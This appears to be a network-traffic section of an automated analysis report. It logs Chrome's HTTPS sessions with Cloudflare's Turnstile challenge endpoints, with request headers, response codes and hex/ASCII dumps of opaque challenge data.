(-ms-high-contrast:none){.main-wrapper,body{display:block}}@media (prefers-color-scheme:dark){body{background-colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49732	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:35 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/87a07069393b53b7/1714070194209/7c141658e4705f8339da67ff0d4610a1f1ff832447d37cb2823e7e09655347e8/XiKiZkimIR7Xvi1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:35 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 25 Apr 2024 18:36:35 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-25 18:36:35 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 66 42 51 57 57 4f 52 77 58 34 4d 35 32 6d 66 5f 44 55 59 51 6f 66 48 5f 67 79 52 48 30 33 79 79 67 6a 35 2d 43 57 56 54 52 2d 67 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gfBQWWORwX4M52mf_DUYQofH_gyRH03yygj5-CWVTR-gAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-25 18:36:35 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49736	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:38 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:38 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 18:36:38 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: U0mCKFHSY4sB+1vRzDIc7A==$ffhlF0xXJcJ23po4GOg5fA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87a07096b8afb04b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:38 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49737	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:38 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:39 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 87a070988cfa455a-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3a 00 00 00 05 08 02 00 00 00 9b f5 68 07 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR:hIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49741	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:40 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29674 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b3f22530d2b9a73 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:40 UTC	16384	OUT	Data Raw: 76 5f 38 37 61 30 37 30 36 39 33 39 33 62 35 33 62 37 3d 32 61 30 75 2d 66 78 63 24 73 67 55 30 66 6f 61 65 44 39 35 77 70 47 77 39 73 47 43 47 64 73 75 66 67 78 65 47 6d 47 55 61 66 69 47 53 47 6a 59 75 47 37 30 47 77 75 65 24 78 4a 47 4d 4c 70 74 59 67 78 4f 65 47 65 63 42 30 47 6a 67 30 47 76 75 66 44 47 30 75 30 4c 70 70 67 75 73 61 78 68 47 65 30 78 39 47 53 6a 48 30 4b 47 66 4d 36 42 63 55 7a 30 66 4a 71 47 45 42 67 78 4e 47 74 61 78 53 47 4f 67 78 55 73 73 47 47 35 77 47 32 24 75 47 39 67 59 77 75 39 42 47 66 61 47 51 42 30 47 36 36 71 6b 35 30 61 47 45 2d 51 74 77 6d 53 4d 4c 70 47 6b 35 39 65 6e 58 49 51 4c 59 36 57 55 54 24 65 78 47 78 48 4c 47 47 56 4a 24 72 47 7a 64 54 4c 61 59 2d 66 51 43 35 38 36 4e 68 67 5a 76 72 66 38 72 6b 5a 79 52 6b 77 Data Ascii: v_87a07069393b53b7=2a0u-fxc$sgU0foaeD95wpGw9sGCGdsufgxeGmGUafiGSGjYuG70Gwue$xJGMLptYgxOeGecB0Gjg0GvufDG0u0LppgusaxhGe0x9GSjH0KGfM6BcUz0fJqGEBgxNGtaxSGOgxUssGG5wG2$uG9gYwu9BGfaGQB0G66qk50aGE-QtwmSMLpGk59enXIQLY6WUT$exGxHLGGVJ$rGzdTLaY-fQC586NhgZvrf8rkZyRkw
2024-04-25 18:36:40 UTC	13290	OUT	Data Raw: 4d 43 59 58 47 39 4e 30 24 6e 75 66 46 62 54 62 76 24 6a 59 66 47 53 75 78 30 47 37 47 39 47 39 45 52 79 47 68 59 78 4c 78 76 47 6a 30 53 34 78 58 47 6b 30 51 66 47 65 47 68 75 53 67 78 34 47 4f 75 74 74 78 2d 74 6b 70 51 58 47 51 47 71 70 78 77 78 42 47 39 70 78 37 78 64 47 73 47 66 35 47 43 47 66 59 65 44 78 6d 47 72 47 30 69 78 79 76 52 6a 31 79 47 70 47 6c 47 51 51 6e 6c 75 4f 59 39 47 47 74 70 6b 75 71 75 70 4a 47 34 75 55 7a 6e 65 47 41 75 55 24 39 4a 47 56 46 50 6e 6e 65 47 5a 34 74 4f 58 55 47 78 67 66 30 47 77 24 46 4a 66 57 71 4d 70 46 48 47 47 47 41 53 68 78 74 66 54 4b 32 72 37 63 78 4d 70 68 7a 53 51 47 37 70 63 77 65 74 78 53 47 66 70 35 69 67 6a 61 68 70 35 58 66 6a 35 63 77 66 47 4d 4d 70 53 65 65 77 39 55 75 46 70 35 51 6e 36 47 2d 68 74 Data Ascii: MCYXG9N0$nufFbTbv$jYfGSux0G7G9G9ERyGhYxLxvGj0S4xXGk0QfGeGhuSgx4GOuttx-tkpQXGQGqpxwxBG9px7xdGsGf5GCGfYeDxmGrG0ixyvRj1yGpGlGQQnluOY9GGtpkuqupJG4uUzneGAuU$9JGVFPnneGZ4tOXUGxgf0Gw$FJfWqMpFHGGGAShxtfTK2r7cxMphzSQG7pcwetxSGfp5igjahp5Xfj5cwfGMMpSeew9UuFp5Qn6G-ht
2024-04-25 18:36:40 UTC	350	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:40 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: F+tjORiLhiL6czK5NKfSvqR3vVGCYYhDjt+JwyU8V77iOnrs+/WBrcJdr3AWn2jA$Kn35nN1oJohR/hQbHsXUrg== vary: accept-encoding Server: cloudflare CF-RAY: 87a0709e6b6969ef-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:40 UTC	443	IN	Data Raw: 31 62 34 0d 0a 57 47 4a 37 61 6c 35 6d 6a 6d 4e 61 6b 55 74 68 54 47 4b 59 6c 6e 56 37 6d 58 47 53 63 48 64 31 6c 6e 56 79 6b 4b 64 34 71 4b 43 68 69 59 61 64 68 59 36 67 73 4b 68 77 73 4b 2b 71 6c 4b 4f 56 71 4b 5a 31 6e 71 64 33 6f 62 4b 78 6c 72 78 38 77 35 43 41 71 63 47 64 71 36 44 45 79 62 75 4d 76 5a 37 51 77 4a 43 69 78 36 65 76 74 4c 6d 33 75 64 48 42 74 62 66 55 77 35 79 38 75 4b 4c 49 77 37 58 4d 70 62 75 36 33 37 2b 79 71 63 79 76 36 2b 4c 76 78 74 54 73 32 63 2b 2b 79 76 6a 73 77 50 58 7a 33 75 48 68 2f 73 58 6d 2b 75 6e 6e 36 51 4c 78 35 65 63 46 38 41 72 77 7a 67 6a 74 37 77 34 58 31 66 63 52 44 4f 2f 37 45 66 7a 68 48 42 4d 66 48 51 55 64 43 76 73 64 44 77 77 4d 36 51 30 53 4c 79 76 77 37 76 51 6d 4f 44 67 58 4a 7a 73 71 47 52 63 75 4f 78 Data Ascii: 1b4WGJ7al5mjmNakUthTGKYlnV7mXGScHd1lnVykKd4qKChiYadhY6gsKhwsK+qlKOVqKZ1nqd3obKxlrx8w5CAqcGdq6DEybuMvZ7QwJCix6evtLm3udHBtbfUw5y8uKLIw7XMpbu637+yqcyv6+LvxtTs2c++yvjswPXz3uHh/sXm+unn6QLx5ecF8Arwzgjt7w4X1fcRDO/7EfzhHBMfHQUdCvsdDwwM6Q0SLyvw7vQmODgXJzsqGRcuOx
2024-04-25 18:36:40 UTC	1369	IN	Data Raw: 31 36 37 63 0d 0a 30 61 36 51 70 61 62 41 6c 4c 71 73 7a 4e 50 4f 73 39 50 4a 32 4e 58 52 32 72 79 7a 6e 2b 4b 35 35 65 6d 6a 37 4f 44 69 75 36 6d 76 39 4c 4c 6d 79 76 65 7a 32 50 66 34 38 74 66 56 30 2f 72 33 31 4e 55 47 31 51 48 55 34 66 66 33 32 4f 62 56 41 75 4c 61 32 77 76 7a 41 38 7a 6b 31 2b 50 33 42 74 51 63 2b 75 7a 33 2b 2f 30 58 2f 64 73 56 2b 67 45 46 43 75 54 6e 43 2b 7a 67 2b 42 6f 69 49 79 59 65 41 79 45 5a 45 66 4d 4c 47 54 41 35 48 78 38 4f 48 79 45 6c 41 42 6f 67 48 6a 45 79 52 30 41 48 46 69 45 48 4f 51 52 51 4c 6b 74 53 50 30 34 36 53 6b 68 57 56 45 59 70 54 42 38 63 59 43 41 32 50 69 64 55 4f 79 4e 66 5a 43 70 49 54 47 70 52 55 56 39 44 61 31 42 4f 52 6d 4a 6f 4e 44 6f 35 4e 54 70 37 58 7a 52 6a 58 6e 74 79 63 48 75 41 51 34 57 49 53 Data Ascii: 167c0a6QpabAlLqszNPOs9PJ2NXR2ryzn+K55emj7ODiu6mv9LLmyvez2Pf48tfV0/r31NUG1QHU4ff32ObVAuLa2wvzA8zk1+P3BtQc+uz3+/0X/dsV+gEFCuTnC+zg+BoiIyYeAyEZEfMLGTA5Hx8OHyElABogHjEyR0AHFiEHOQRQLktSP046SkhWVEYpTB8cYCA2PidUOyNfZCpITGpRUV9Da1BORmJoNDo5NTp7XzRjXntycHuAQ4WIS
2024-04-25 18:36:40 UTC	1369	IN	Data Raw: 51 79 4d 32 51 6b 74 48 50 33 4c 4b 6d 31 74 62 53 6d 62 44 68 76 4a 75 34 77 4b 57 62 36 63 58 69 32 65 33 6f 76 65 58 51 36 4e 58 6c 35 75 76 77 78 2f 54 30 78 74 76 31 34 4e 6a 37 7a 38 7a 79 33 4c 33 63 31 38 44 71 77 67 33 38 2f 4f 66 47 2f 75 72 7a 30 41 38 56 44 74 41 4d 47 65 76 63 48 68 33 76 34 42 34 68 38 2b 54 69 4a 66 66 6f 34 69 6e 37 33 76 63 74 41 50 44 6a 4d 51 54 6d 45 44 55 49 36 68 41 35 44 4f 34 6d 4c 54 77 67 51 68 76 2b 52 53 4d 6e 52 7a 63 55 46 6a 78 48 48 79 4d 4c 43 55 6f 53 4d 53 74 4f 51 55 4e 46 4e 31 6f 7a 54 43 59 32 4e 44 56 59 4f 54 39 41 4f 6c 6b 31 56 6a 70 6c 50 47 56 64 58 54 74 75 53 69 70 68 54 6d 64 53 52 44 4a 44 52 6b 56 33 52 7a 74 39 56 6b 74 30 65 33 42 33 56 56 42 5a 59 46 31 39 65 6d 4a 35 69 6d 39 70 5a 6d Data Ascii: QyM2QktHP3LKm1tbSmbDhvJu4wKWb6cXi2e3oveXQ6NXl5uvwx/T0xtv14Nj7z8zy3L3c18Dqwg38/OfG/urz0A8VDtAMGevcHh3v4B4h8+TiJffo4in73vctAPDjMQTmEDUI6hA5DO4mLTwgQhv+RSMnRzcUFjxHHyMLCUoSMStOQUNFN1ozTCY2NDVYOT9AOlk1VjplPGVdXTtuSiphTmdSRDJDRkV3Rzt9Vkt0e3B3VVBZYF19emJ5im9pZm
2024-04-25 18:36:40 UTC	1369	IN	Data Raw: 74 72 7a 5a 30 64 53 7a 6d 73 7a 61 74 63 33 62 34 37 6e 68 34 4e 37 6b 32 63 65 68 75 2b 48 6c 35 36 37 46 79 50 62 57 39 4f 50 6b 79 64 72 36 36 66 65 39 38 65 7a 53 42 65 58 77 30 76 4c 65 31 75 7a 6b 7a 75 58 5a 34 78 4d 53 41 2f 4c 6a 39 52 62 6d 37 67 76 6b 43 52 77 5a 31 78 72 32 46 77 59 57 46 78 34 52 45 75 51 69 2f 69 77 63 4a 69 54 77 43 50 77 4d 44 75 30 77 4f 67 73 54 4d 53 73 4c 2b 76 59 50 50 54 51 63 2b 6a 4d 67 53 43 4d 34 4e 68 6b 72 54 6a 67 36 47 55 73 6c 51 44 4d 6a 55 45 41 52 45 6b 67 38 52 54 68 4c 49 45 31 64 49 79 39 47 59 57 55 61 4f 46 4e 6b 53 47 46 6a 58 48 46 79 50 55 55 2f 61 45 4e 4c 54 6e 56 56 5a 33 64 70 65 54 39 4c 65 48 32 42 4e 6c 52 6c 67 47 52 39 66 33 69 4e 6a 6c 6c 68 57 70 4b 49 63 47 4a 66 5a 59 6c 53 6b 6e 6d Data Ascii: trzZ0dSzmszatc3b47nh4N7k2cehu+Hl567FyPbW9OPkydr66fe98ezSBeXw0vLe1uzkzuXZ4xMSA/Lj9Rbm7gvkCRwZ1xr2FwYWFx4REuQi/iwcJiTwCPwMDu0wOgsTMSsL+vYPPTQc+jMgSCM4NhkrTjg6GUslQDMjUEAREkg8RThLIE1dIy9GYWUaOFNkSGFjXHFyPUU/aENLTnVVZ3dpeT9LeH2BNlRlgGR9f3iNjllhWpKIcGJfZYlSknm
2024-04-25 18:36:40 UTC	1369	IN	Data Raw: 39 66 64 72 35 33 50 30 37 71 7a 36 62 37 47 77 64 37 4c 33 36 2b 74 7a 61 32 31 38 4f 58 6a 39 4f 58 32 30 2f 4c 4e 36 37 2f 53 2f 74 62 62 39 74 48 76 43 67 47 38 34 67 66 59 45 42 45 4c 36 78 48 76 2f 42 54 68 39 63 72 6a 36 68 44 53 31 76 54 75 39 76 62 67 36 78 59 45 4a 42 49 62 2f 52 73 72 44 51 6f 75 41 66 6b 52 42 68 41 6a 46 54 51 4d 4c 78 67 53 45 44 63 30 45 78 67 63 48 77 38 56 4e 44 41 33 42 30 46 46 4a 54 51 69 42 43 59 6b 53 30 67 6b 4b 79 38 6d 4d 69 74 4b 47 56 73 34 54 69 6c 4d 53 47 46 58 54 54 56 43 51 6b 56 62 4b 56 70 71 59 79 68 49 61 6e 46 79 51 43 35 4a 59 30 68 45 64 32 5a 47 63 47 68 56 50 54 6c 33 59 6e 32 41 56 6e 75 42 66 58 77 37 68 34 46 62 57 34 75 46 59 55 71 50 69 57 5a 6a 6b 34 31 71 64 70 56 35 6b 56 71 62 6c 58 4b 55 Data Ascii: 9fdr53P07qz6b7Gwd7L36+tza218OXj9OX20/LN67/S/tbb9tHvCgG84gfYEBEL6xHv/BTh9crj6hDS1vTu9vbg6xYEJBIb/RsrDQouAfkRBhAjFTQMLxgSEDc0ExgcHw8VNDA3B0FFJTQiBCYkS0gkKy8mMitKGVs4TilMSGFXTTVCQkVbKVpqYyhIanFyQC5JY0hEd2ZGcGhVPTl3Yn2AVnuBfXw7h4FbW4uFYUqPiWZjk41qdpV5kVqblXKU
2024-04-25 18:36:40 UTC	288	IN	Data Raw: 75 69 77 64 66 62 74 61 76 6d 36 4b 37 62 33 50 54 74 79 64 2f 4b 7a 50 4f 34 78 66 6a 33 76 4d 6b 42 2b 38 44 4f 38 41 44 45 30 76 67 45 79 4e 59 42 36 65 77 44 44 51 6e 30 38 4e 51 55 41 41 73 56 45 52 49 5a 47 78 58 74 32 52 38 5a 38 76 49 6a 48 66 6a 68 4a 79 48 39 2b 69 73 6c 41 67 34 48 45 51 37 74 4a 53 6f 48 47 42 41 6c 45 42 73 56 45 68 67 66 47 52 6b 63 49 78 30 63 49 43 63 67 43 43 51 72 4a 41 73 6f 4c 79 67 4b 4c 44 4d 73 57 44 41 33 4d 42 51 30 4f 7a 51 58 4f 44 38 35 4b 7a 78 44 50 42 31 41 52 30 45 31 52 45 74 46 4f 45 68 50 53 44 4a 4d 55 30 77 31 55 46 64 51 4f 31 52 62 56 48 56 59 58 31 68 34 58 47 4e 63 66 6d 42 6e 59 48 31 47 53 59 56 35 66 45 65 46 66 6f 4f 53 67 57 74 74 64 48 53 53 6c 58 4b 56 6c 49 2b 58 59 56 71 69 59 70 69 44 5a Data Ascii: uiwdfbtavm6K7b3PTtyd/KzPO4xfj3vMkB+8DO8ADE0vgEyNYB6ewDDQn08NQUAAsVERIZGxXt2R8Z8vIjHfjhJyH9+islAg4HEQ7tJSoHGBAlEBsVEhgfGRkcIx0cICcgCCQrJAsoLygKLDMsWDA3MBQ0OzQXOD85KzxDPB1AR0E1REtFOEhPSDJMU0w1UFdQO1RbVHVYX1h4XGNcfmBnYH1GSYV5fEeFfoOSgWttdHSSlXKVlI+XYVqiYpiDZ
2024-04-25 18:36:40 UTC	1369	IN	Data Raw: 38 33 65 0d 0a 76 61 71 69 6c 5a 4c 46 6d 71 57 61 79 62 69 6f 6f 4c 33 4d 79 49 2b 2b 6f 73 47 6b 31 4c 62 51 71 71 4b 32 32 36 2b 6e 32 39 61 78 33 71 37 62 6f 39 57 75 32 4c 58 5a 35 4f 47 35 79 4c 37 70 77 71 50 6b 36 4c 50 50 7a 66 4c 4a 30 4d 72 70 79 50 33 30 33 72 33 63 31 65 2f 44 38 4e 33 6c 77 41 58 37 36 63 63 4f 35 52 44 50 36 4f 48 75 7a 42 45 41 39 39 41 57 47 41 7a 56 38 2f 49 53 33 78 37 71 41 2f 55 56 41 77 62 31 4b 69 67 6a 41 53 6f 47 43 2b 67 74 48 42 54 73 4a 66 41 33 43 66 6b 34 4a 66 55 35 46 6b 41 41 47 51 38 32 2f 51 5a 45 4d 41 41 41 48 6b 6f 4d 4b 53 49 35 43 68 4a 4d 4c 78 52 52 45 55 4d 53 56 53 39 49 4c 56 30 2f 57 54 4d 72 50 32 51 34 4d 47 52 66 4f 30 45 33 58 79 74 49 52 6e 42 42 4f 31 31 6f 51 6b 39 58 56 30 73 73 62 57 Data Ascii: 83evaqilZLFmqWaybiooL3MyI++osGk1LbQqqK226+n29ax3q7bo9Wu2LXZ5OG5yL7pwqPk6LPPzfLJ0MrpyP303r3c1e/D8N3lwAX76ccO5RDP6OHuzBEA99AWGAzV8/IS3x7qA/UVAwb1KigjASoGC+gtHBTsJfA3Cfk4JfU5FkAAGQ82/QZEMAAAHkoMKSI5ChJMLxRREUMSVS9ILV0/WTMrP2Q4MGRfO0E3XytIRnBBO11oQk9XV0ssbW
2024-04-25 18:36:40 UTC	748	IN	Data Raw: 6e 6e 32 77 6f 61 61 41 69 62 4f 71 68 4b 4f 64 79 6f 6e 4d 73 62 4b 4c 68 36 58 47 6b 64 57 74 79 70 53 7a 6d 4d 65 62 33 4d 2f 42 6e 64 44 42 31 71 47 2f 75 64 71 71 32 4e 76 58 70 37 48 66 31 4b 7a 4c 78 64 61 78 35 4e 48 32 74 4c 33 56 35 37 6a 74 30 66 4b 2f 38 41 44 6f 77 64 2f 45 36 38 54 4e 37 66 37 49 30 51 44 79 7a 42 4c 6c 2b 4e 59 46 44 41 76 56 38 67 67 41 32 78 30 59 41 64 30 52 49 43 50 67 46 53 41 4c 35 4f 30 63 44 2b 67 64 44 68 44 73 49 76 41 58 37 2f 6b 61 48 50 51 70 47 69 48 34 47 42 49 2f 2b 77 59 38 4a 51 51 31 51 43 67 45 44 6a 77 2f 44 7a 30 75 4d 41 35 42 52 44 59 52 56 69 35 4c 46 6a 51 5a 53 42 6b 69 51 6c 51 65 59 56 42 4a 49 6d 56 59 53 79 74 5a 61 45 34 70 62 56 78 56 4d 47 46 77 55 7a 52 31 61 48 63 32 65 6c 4a 77 4f 45 4a Data Ascii: nn2woaaAibOqhKOdyonMsbKLh6XGkdWtypSzmMeb3M/BndDB1qG/udqq2NvXp7Hf1KzLxdax5NH2tL3V57jt0fK/8ADowd/E68TN7f7I0QDyzBLl+NYFDAvV8ggA2x0YAd0RICPgFSAL5O0cD+gdDhDsIvAX7/kaHPQpGiH4GBI/+wY8JQQ1QCgEDjw/Dz0uMA5BRDYRVi5LFjQZSBkiQlQeYVBJImVYSytZaE4pbVxVMGFwUzR1aHc2elJwOEJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49743	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:40 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:40 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 87a0709f8e144563-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3a 00 00 00 05 08 02 00 00 00 9b f5 68 07 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR:hIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49744	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:40 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:41 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 18:36:40 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: oJD/W86IruLzeEDadGbKnA==$B1THhn9CR+0sdq0RjO0xrA== Server: cloudflare CF-RAY: 87a070a3fb3553ab-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:41 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49745	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:52 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32749 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b3f22530d2b9a73 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
